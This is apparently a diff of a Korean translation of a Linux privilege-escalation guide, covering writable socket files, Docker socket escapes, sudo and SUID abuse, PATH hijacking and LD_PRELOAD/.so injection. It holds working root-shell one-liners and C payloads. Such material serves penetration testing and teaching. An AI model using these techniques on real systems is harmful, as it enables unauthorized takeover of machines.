파일을 사용해 구성할 수 있습니다. -**Learn more about sockets with `man systemd.socket`.** 이 파일 안에서는 여러 흥미로운 매개변수를 설정할 수 있습니다: +**`man systemd.socket`로 소켓에 대해 더 알아보세요.** 이 파일 안에는 구성할 수 있는 여러 흥미로운 매개변수가 있습니다: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 서로 다르지만 요약하면 **어디에서 수신(listen)** 할지를 지정합니다 (AF_UNIX 소켓 파일의 경로, IPv4/6 및/또는 수신할 포트 번호 등). -- `Accept`: boolean 인수를 받습니다. **true**이면 **들어오는 각 연결마다 서비스 인스턴스가 생성**되고 연결 소켓만 해당 인스턴스에 전달됩니다. **false**이면 모든 리스닝 소켓 자체가 **시작된 service unit으로 전달**되며 모든 연결에 대해 단 하나의 service unit이 생성됩니다. 이 값은 datagram 소켓과 FIFO에서는 무시되며, 이 경우 단일 service unit이 모든 들어오는 트래픽을 무조건 처리합니다. **기본값은 false**입니다. 성능상의 이유로 새 데몬을 작성할 때는 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다. -- `ExecStartPre`, `ExecStartPost`: 하나 이상 명령줄을 받으며, 이는 리스닝 **소켓**/FIFO가 각각 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행**됩니다. 명령줄의 첫 토큰은 절대 파일명이어야 하며 그 뒤에 프로세스 인수를 따릅니다. -- `ExecStopPre`, `ExecStopPost`: 리스닝 **소켓**/FIFO가 각각 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는 추가 명령들**입니다. -- `Service`: **들어오는 트래픽**에 대해 활성화할 **service** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에만 허용됩니다. 기본적으로 소켓과 동일한 이름(접미사 대체)인 service를 가리키며, 대부분의 경우 이 옵션을 사용할 필요는 없습니다. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 서로 다르지만 요약하면 소켓이 어디에서 수신(listen)할지를 **지정**하는 데 사용됩니다(예: AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등). +- `Accept`: boolean 인자를 받습니다. **true**인 경우, **들어오는 각 연결마다 서비스 인스턴스가 생성**되며 해당 연결 소켓만 전달됩니다. **false**인 경우, 모든 리스닝 소켓 자체가 **시작된 service unit에 전달**되고, 모든 연결을 위해 단 하나의 service unit만 생성됩니다. 이 값은 datagram 소켓과 FIFO에서는 무시되며, 그 경우 단일 service unit이 조건 없이 모든 수신 트래픽을 처리합니다. **기본값은 false**입니다. 성능상의 이유로, 새로운 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다. +- `ExecStartPre`, `ExecStartPost`: 하나 이상 명령줄을 받으며, 각각 리스닝 **소켓**/FIFO가 생성되고 바인드되기 **전** 또는 **후**에 **실행**됩니다. 명령줄의 첫 번째 토큰은 절대 경로의 파일명이여야 하며, 그 뒤에 프로세스 인자가 옵니다. +- `ExecStopPre`, `ExecStopPost`: 리스닝 **소켓**/FIFO가 닫히고 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령어들**입니다. +- `Service`: 들어오는 트래픽에 대해 **활성화할 service unit의 이름**을 지정합니다. 이 설정은 `Accept=no`인 소켓에만 허용됩니다. 기본값은 소켓과 동일한 이름을 가진 서비스(접미사가 대체된 것)입니다. 대부분의 경우 이 옵션을 사용할 필요는 없습니다. ### Writable .socket files -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_참고: 시스템이 해당 socket 파일 구성을 실제로 사용하고 있어야 backdoor가 실행됩니다_ +쓰기 가능한 `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor`와 같은 항목을 **추가**할 수 있으며, 그러면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **아마도 시스템이 재부팅될 때까지 기다려야 할 것**입니다.\ +_시스템이 해당 .socket 파일 구성을 사용하고 있어야만 백도어가 실행됩니다_ ### Writable sockets -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +쓰기 가능한 소켓을 **발견**하면 (_여기서는 구성 `.socket` 파일이 아니라 Unix Sockets를 말합니다_), 해당 소켓과 **통신**할 수 있으며 취약점을 악용할 수도 있습니다. -### Enumerate Unix Sockets +### Unix 소켓 열거 ```bash netstat -a -p --unix ``` @@ -485,48 +508,48 @@ socket-command-injection.md ### HTTP sockets -참고로 일부 **sockets listening for HTTP** 요청이 있을 수 있습니다 (_여기서 말하는 것은 .socket files가 아니라 unix sockets로 동작하는 파일들입니다_). 다음 명령으로 확인할 수 있습니다: +다음에 유의하세요: 일부 **sockets listening for HTTP** 요청이 있을 수 있습니다 (_여기서 말하는 것은 .socket 파일이 아니라 unix sockets로 동작하는 파일들입니다_). 다음 명령으로 확인할 수 있습니다: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -socket이 **HTTP 요청에 응답**한다면, 그것과 **통신**할 수 있고, 어쩌면 **일부 취약점**을 **악용**할 수도 있습니다. +만약 socket이 **HTTP 요청에 응답**하면, **통신**할 수 있고 때로는 **취약점을 악용**할 수도 있습니다. ### 쓰기 가능한 Docker Socket -Docker socket, 종종 `/var/run/docker.sock`에 위치하는 이 파일은 보호되어야 하는 중요한 파일입니다. 기본적으로 이는 `root` 사용자와 `docker` 그룹의 멤버가 쓰기 권한을 가집니다. 이 socket에 대한 쓰기 권한을 가지면 privilege escalation으로 이어질 수 있습니다. 다음은 이 작업이 어떻게 가능한지와 Docker CLI를 사용할 수 없을 때의 대체 방법에 대한 설명입니다. +Docker socket(종종 `/var/run/docker.sock`에 위치)는 보호되어야 하는 중요한 파일입니다. 기본적으로 `root` 사용자와 `docker` 그룹의 구성원에게 쓰기 권한이 있습니다. 이 socket에 대한 쓰기 권한을 가지면 privilege escalation으로 이어질 수 있습니다. 다음은 이것을 수행하는 방법과 Docker CLI를 사용할 수 없을 때의 대체 방법에 대한 설명입니다. #### **Privilege Escalation with Docker CLI** -Docker socket에 쓰기 권한이 있다면, 다음 명령어들을 사용해 권한을 상승시킬 수 있습니다: +Docker socket에 대한 쓰기 권한이 있으면, 다음 명령어들로 privilege escalation을 수행할 수 있습니다: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -이 명령들은 호스트의 파일 시스템에 root 권한으로 접근 가능한 컨테이너를 실행할 수 있게 해줍니다. +These commands allow you to run a container with root-level access to the host's file system. -#### **Docker API 직접 사용** +#### **Using Docker API Directly** -Docker CLI를 사용할 수 없는 경우에도 Docker socket은 Docker API와 `curl` 명령어를 사용하여 여전히 조작할 수 있습니다. +In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. -1. **List Docker Images:** 사용 가능한 이미지 목록을 가져옵니다. +1. **List Docker Images:** Retrieve the list of available images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** 호스트 시스템의 루트 디렉터리를 마운트하는 컨테이너를 생성하도록 요청을 전송합니다. +2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -새로 생성된 컨테이너를 시작합니다: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat`를 사용하여 컨테이너에 연결을 설정하면 그 안에서 명령을 실행할 수 있습니다. +3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -536,31 +559,33 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 연결을 설정한 후에는 호스트 파일시스템에 대한 root 권한으로 컨테이너 내에서 직접 명령을 실행할 수 있습니다. +After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. ### 기타 -docker socket에 대한 쓰기 권한이 있고 **`docker` 그룹에 속해 있는 경우** [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)를 이용할 수 있습니다. 만약 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)라면 해당 API를 통해서도 침해할 수 있습니다. +Docker CLI가 사용 불가능한 경우에도 Docker socket은 Docker API와 `curl` 명령어로 조작할 수 있다는 점을 기억하세요. -다음에서 **more ways to break out from docker or abuse it to escalate privileges**를 확인하세요: +주의: docker socket에 대한 쓰기 권한이 있고 **inside the group `docker`**에 속해 있다면 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)를 이용할 수 있습니다. 만약 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)라면 해당 서비스도 침해할 수 있습니다. + +docker에서 탈출하거나 이를 악용해 권한을 상승시키는 더 많은 방법은 다음에서 확인하세요: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) 권한 상승 -만약 **`ctr`** 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — **you may be able to abuse it to escalate privileges**: +만약 **`ctr`** 명령을 사용할 수 있다면 다음 페이지를 읽으세요. **권한 상승에 악용할 수 있을지도 모릅니다**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** 권한 상승 -만약 **`runc`** 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — **you may be able to abuse it to escalate privileges**: +만약 **`runc`** 명령을 사용할 수 있다면 다음 페이지를 읽으세요. **권한 상승에 악용할 수 있을지도 모릅니다**: {{#ref}} @@ -569,15 +594,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대적인 Linux 시스템을 염두에 두고 설계되었으며, 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다. +D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 **inter-Process Communication (IPC) system**입니다. 현대적인 Linux 시스템을 염두에 두고 설계되어 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다. -이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC 기능을 지원하며, 이는 향상된 UNIX 도메인 소켓과 유사합니다. 또한 이벤트나 신호를 방송하여 시스템 구성 요소 간의 원활한 통합을 돕습니다. 예를 들어, Bluetooth 데몬에서 오는 호출 신호가 음악 재생기를 음소거하도록 하는 등 사용자 경험을 향상시킬 수 있습니다. 더불어 D-Bus는 원격 객체 시스템을 지원하여 서비스 요청과 메서드 호출을 간소화함으로써 전통적으로 복잡했던 프로세스를 단순화합니다. +이 시스템은 프로세스 간 데이터 교환을 향상시키는 기본적인 IPC를 지원하며, 이는 향상된 **UNIX domain sockets**와 유사합니다. 또한 이벤트나 signal을 브로드캐스트하여 시스템 구성 요소 간의 원활한 통합을 돕습니다. 예를 들어 Bluetooth 데몬의 수신 호출 신호는 음악 플레이어를 자동으로 음소거하도록 트리거할 수 있습니다. 추가로 D-Bus는 원격 객체 시스템을 지원하여 서비스 요청과 메서드 호출을 단순화하고 전통적으로 복잡했던 프로세스를 간소화합니다. -D-Bus는 **allow/deny model**로 동작하며, 매칭되는 정책 규칙들의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책들은 버스와의 상호작용을 지정하며, 권한을 악용하여 privilege escalation이 가능해질 수 있습니다. +D-Bus는 **allow/deny model**로 동작하며, 매칭되는 정책 규칙들의 누적된 효과에 따라 메시지 권한(메서드 호출, signal 전송 등)을 관리합니다. 이러한 정책들은 버스와의 상호작용을 지정하며, 이 권한들을 악용하면 권한 상승으로 이어질 수 있습니다. -예로 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책은 root 사용자가 `fi.w1.wpa_supplicant1`를 소유하고, 해당 서비스로 메시지를 보내며 받을 수 있도록 허용하는 내용을 보여줍니다. +예를 들어 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 이런 정책은 root 사용자가 `fi.w1.wpa_supplicant1`을 소유하고, 해당 서비스로 메시지를 보내고, 메시지를 받을 수 있는 권한을 부여하는 내용을 자세히 설명합니다. -사용자나 그룹이 명시되지 않은 정책은 보편적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책에 의해 다뤄지지 않는 모든 항목에 적용됩니다. +사용자나 그룹이 지정되지 않은 정책은 보편적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 항목에 적용됩니다. ```xml @@ -586,7 +611,7 @@ D-Bus는 **allow/deny model**로 동작하며, 매칭되는 정책 규칙들의 ``` -**D-Bus 통신을 열거하고 악용하는 방법은 여기에서 확인하세요:** +**여기에서 D-Bus 통신을 enumerate하고 exploit하는 방법을 알아보세요:** {{#ref}} @@ -595,9 +620,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **네트워크** -네트워크를 열거해 머신의 위치를 파악하는 것은 항상 흥미롭습니다. +네트워크를 enumerate하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다. -### 일반적인 열거 +### Generic enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -620,16 +645,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### 열린 포트 +### Open ports -항상 접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요: +항상 접근하기 전에 이전에 상호작용할 수 없었던 해당 머신에서 실행 중인 네트워크 서비스를 확인하세요: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -sniff traffic할 수 있는지 확인하세요. 가능하면 몇몇 credentials를 획득할 수 있습니다. +sniff traffic이 가능한지 확인하세요. 가능하다면 일부 credentials를 확보할 수 있습니다. ``` timeout 1 tcpdump ``` @@ -637,7 +662,7 @@ timeout 1 tcpdump ### 일반 열거 -자신이 **who**인지, 어떤 **privileges**를 가지고 있는지, 시스템에 어떤 **users**가 있는지, 어떤 사용자가 **login**할 수 있는지, 그리고 어떤 사용자가 **root privileges**를 가지고 있는지 확인하세요: +자신이 **누구**인지, 어떤 **privileges**를 가지고 있는지, 시스템에 어떤 **users**가 있는지, 이들 중 누가 **login**할 수 있고 누가 **root privileges**를 가지고 있는지 확인하세요: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -661,12 +686,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -일부 Linux 버전은 **UID > INT_MAX**인 사용자가 권한 상승을 할 수 있게 해주는 버그의 영향을 받았습니다. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**다음 명령으로 악용하세요:** **`systemd-run -t /bin/bash`** +일부 Linux 버전은 **UID > INT_MAX**인 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**이를 악용하려면** 다음을 사용하세요: **`systemd-run -t /bin/bash`** ### 그룹 -root 권한을 부여할 수 있는 **어떤 그룹의 구성원인지 확인하세요:** +root 권한을 부여할 수 있는 어떤 그룹의 **멤버인지** 확인하세요: {{#ref}} @@ -675,7 +700,7 @@ interesting-groups-linux-pe/ ### 클립보드 -클립보드 안에 흥미로운 것이 있는지 확인하세요(가능한 경우) +가능하면 클립보드에 흥미로운 내용이 있는지 확인하세요 ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -690,29 +715,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### 알려진 passwords -환경의 **비밀번호를 알고 있다면** 그 비밀번호를 사용해 **각 사용자로 로그인해 보세요**. +환경에서 어떤 **password**를 알고 있다면, 그 **password**로 각 **user**로 **login**을 시도해보세요. ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +많은 noise를 발생시키는 것을 신경쓰지 않고 컴퓨터에 `su`와 `timeout` 바이너리가 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 user에 대해 brute-force를 시도해볼 수 있습니다.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)는 `-a` 파라미터로도 users에 대해 brute-force를 시도합니다. -## Writable PATH abuses +## 쓰기 가능한 PATH 오용 ### $PATH -만약 **$PATH의 어떤 폴더에 쓰기가 가능하다면** 해당 쓰기 가능한 폴더 안에 실행될 명령어 이름으로 **backdoor를 생성**해 다른 사용자(가능하면 root)가 실행할 때 권한을 상승시킬 수 있습니다. 단, 그 명령은 **여러분의 쓰기 폴더보다 앞서 위치한** 폴더에서 로드되지 않아야 합니다. +만약 $PATH의 어떤 폴더 안에 **write할 수 있다면** 다른 **user**(이상적으로는 **root**)가 실행할 명령의 이름으로 writable 폴더 안에 **backdoor**를 만들어 **escalate privileges**할 수 있습니다. 단, 해당 명령이 $PATH에서 당신의 writable 폴더보다 앞선 폴더에서 로드되지 않아야 합니다. -### SUDO and SUID +### SUDO 및 SUID -sudo로 특정 명령을 실행할 수 있거나 해당 바이너리에 suid 비트가 설정되어 있을 수 있습니다. 다음으로 확인하세요: +어떤 명령을 **sudo**로 실행할 수 있거나 해당 파일에 **suid** 비트가 설정되어 있을 수 있습니다. 다음 명령으로 확인하세요: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -일부 **예상치 못한 명령은 파일을 읽고/또는 쓰거나 심지어 명령을 실행할 수 있습니다.** 예를 들어: +일부 **예상치 못한 명령은 파일을 읽고/또는 쓸 수 있게 하거나 명령을 실행할 수도 있습니다.** 예를 들어: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -723,31 +748,31 @@ less>! ``` ### NOPASSWD -Sudo 구성은 사용자가 암호를 알지 못한 채 다른 사용자의 권한으로 일부 명령을 실행하도록 허용할 수 있습니다. +Sudo 구성에 따라 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 특정 명령을 실행할 수 있게 허용될 수 있다. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -이 예제에서 사용자 `demo`는 `vim`을 `root` 권한으로 실행할 수 있으므로, root 디렉터리에 ssh 키를 추가하거나 `sh`를 호출하여 shell을 얻는 것은 매우 쉽습니다. +이 예에서 사용자 `demo`는 `vim`을 `root`로 실행할 수 있으므로, root 디렉터리에 ssh key를 추가하거나 `sh`를 호출하여 shell을 얻는 것은 이제 매우 쉽습니다. ``` sudo vim -c '!sh' ``` ### SETENV -이 지시문은 사용자가 어떤 것을 실행하는 동안 **환경 변수를 설정**할 수 있게 합니다: +이 지시문은 사용자가 어떤 것을 실행하는 동안 **환경 변수를 설정**할 수 있도록 허용합니다: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -이 예시는 **HTB 머신 Admirer를 기반으로** 하며, 스크립트를 root로 실행하는 동안 임의의 python library를 로드하기 위해 **PYTHONPATH hijacking**에 **취약했습니다**: +이 예제는 **HTB machine Admirer 기반**으로, 스크립트를 root로 실행할 때 임의의 python 라이브러리를 로드하도록 **PYTHONPATH hijacking**에 **취약했습니다:** ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 실행 경로 우회 +### Sudo 실행 우회 경로 -**Jump**로 다른 파일을 읽거나 **symlinks**를 사용하세요. 예: sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**점프**하여 다른 파일을 읽거나 **symlinks**를 사용하세요. 예: sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\_* ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -757,50 +782,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -만약 **wildcard**가 사용되면 (\*), 훨씬 더 쉽습니다: +만약 **wildcard**가 사용된다면 (\*), 훨씬 더 쉽습니다: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **대응책**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo 명령/SUID 바이너리에서 명령 경로가 없는 경우 +### Sudo 명령/SUID 바이너리 (명령 경로 없이) -만약 **sudo 권한**이 단일 명령에 대해 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 환경 변수를 변경하여 이를 악용할 수 있다. +만약 **sudo permission**이 단일 명령에 **경로를 지정하지 않고** 부여되어 있다면: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -이 기법은 **suid** binary **경로를 지정하지 않고 다른 명령을 실행하는 경우(항상** _**strings**_ **로 이상한 SUID binary의 내용을 확인하세요)**. +이 기술은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행하는 경우(항상 _**strings**_ 로 이상한 SUID 바이너리의 내용을 확인하세요)**). [Payload examples to execute.](payloads-to-execute.md) -### SUID binary (명령 경로 있음) +### 명령 경로가 있는 SUID 바이너리 -만약 **suid** binary가 **경로를 지정하여 다른 명령을 실행하는 경우**, suid 파일이 호출하는 명령 이름으로 **export a function**을 시도할 수 있습니다. +만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령 이름으로 **함수를 export** 해볼 수 있습니다. -예를 들어, 만약 suid binary가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 해당 명령 이름으로 함수를 생성하고 export해야 합니다: +예를 들어, 만약 suid 바이너리가 _**/usr/sbin/service apache2 start**_ 를 호출한다면, 해당 함수를 생성하고 export 해야 합니다: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -그런 다음 suid 바이너리를 호출하면 이 함수가 실행됩니다 +그러면 suid 바이너리를 호출할 때 이 함수가 실행됩니다 ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 환경 변수는 로더가 표준 C 라이브러리(`libc.so`)를 포함한 다른 라이브러리보다 먼저 로드하도록 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정을 라이브러리 프리로딩이라고 합니다. +**LD_PRELOAD** 환경 변수는 표준 C 라이브러리(`libc.so`)를 포함한 다른 모든 라이브러리보다 먼저 로더가 로드하도록 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정을 라이브러리 프리로드라고 합니다. -그러나 이 기능이 악용되는 것을 방지하고 시스템 보안을 유지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 특정 조건을 강제합니다: +그러나 시스템 보안을 유지하고 특히 **suid/sgid** 실행 파일에서 이 기능이 악용되는 것을 방지하기 위해 시스템은 다음과 같은 조건을 적용합니다: -- 로더는 실제 사용자 ID (_ruid_)가 유효 사용자 ID (_euid_)와 일치하지 않는 실행 파일에 대해서는 **LD_PRELOAD**를 무시합니다. -- **suid/sgid**가 설정된 실행 파일의 경우, **suid/sgid**로 설정된 표준 경로에 있는 라이브러리만 프리로드됩니다. +- 실제 사용자 ID (_ruid_)와 유효 사용자 ID (_euid_)가 일치하지 않는 실행 파일에 대해서 로더는 **LD_PRELOAD**를 무시합니다. +- suid/sgid가 설정된 실행 파일의 경우, 표준 경로에 있으면서 suid/sgid가 설정된 라이브러리만 프리로드됩니다. -권한 상승은 당신이 `sudo`로 명령을 실행할 수 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문구가 포함되어 있는 경우 발생할 수 있습니다. 이 설정은 `sudo`로 명령을 실행할 때도 **LD_PRELOAD** 환경 변수가 유지되어 인식되게 하여, 잠재적으로 권한이 상승된 상태에서 임의 코드가 실행되도록 만들 수 있습니다. +권한 상승은 `sudo`로 명령을 실행할 수 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문구가 포함되어 있을 때 발생할 수 있습니다. 이 설정은 명령이 `sudo`로 실행될 때에도 **LD_PRELOAD** 환경 변수를 유지하고 인식하게 하여, 권한이 상승된 상태에서 임의의 코드가 실행될 가능성을 초래할 수 있습니다. ``` Defaults env_keep += LD_PRELOAD ``` -다음 경로로 저장: **/tmp/pe.c** +다음으로 저장: **/tmp/pe.c** ```c #include #include @@ -813,7 +838,7 @@ setuid(0); system("/bin/bash"); } ``` -그런 다음 **compile it**을(를) 사용하여: +그런 다음 다음을 사용하여 **컴파일**합니다: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -823,7 +848,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 공격자가 **LD_LIBRARY_PATH** env 변수를 제어할 수 있다면 유사한 privesc를 악용할 수 있습니다. 이는 라이브러리를 검색할 경로를 공격자가 제어하기 때문입니다. +> 유사한 privesc는 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어할 수 있는 경우 악용될 수 있습니다. 이는 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다. ```c #include #include @@ -843,15 +868,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID Binary – .so injection +### SUID 바이너리 – .so injection -특이해 보이는 **SUID** 권한을 가진 binary를 발견했을 때, 해당 binary가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 다음 명령어를 실행하여 확인할 수 있습니다: +정상적이지 않아 보이는 **SUID** 권한을 가진 바이너리를 발견했을 때, 해당 바이너리가 **.so** 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 이는 다음 명령을 실행하여 확인할 수 있습니다: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ 같은 오류가 발생하면 잠재적인 악용 가능성이 있음을 시사합니다. +예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_와 같은 오류가 발생하면 잠재적 악용 가능성을 시사합니다. -이를 악용하려면 _"/path/to/.config/libcalc.c"_ 같은 C 파일을 생성하고 다음 코드를 포함시키면 됩니다: +이를 악용하려면 _"/path/to/.config/libcalc.c"_라는 C 파일을 생성한 다음, 다음 코드를 포함시킵니다: ```c #include #include @@ -862,13 +887,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 셸을 실행하여 권한을 상승시키는 것을 목표로 합니다. +이 코드는 컴파일하고 실행하면 파일 권한을 조작하고 권한이 상승된 shell을 실행하여 권한을 상승시키는 것을 목표로 합니다. -다음 명령으로 위의 C 파일을 shared object (.so) 파일로 컴파일하세요: +위 C 파일을 shared object (.so) 파일로 컴파일하려면: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -마지막으로, 영향을 받은 SUID 바이너리를 실행하면 exploit이 트리거되어 잠재적으로 시스템 침해가 발생할 수 있습니다. +마지막으로, 영향을 받은 SUID binary를 실행하면 exploit이 촉발되어 잠재적인 system compromise로 이어질 수 있습니다. ## Shared Object Hijacking ```bash @@ -880,7 +905,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -이제 우리가 쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID binary를 찾았으니, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다: +이제 우리가 쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID binary를 찾았으니, 필요한 이름으로 해당 폴더에 라이브러리를 생성합시다: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -897,13 +922,13 @@ system("/bin/bash -p"); ```shell-session ./suid_bin: symbol lookup error: 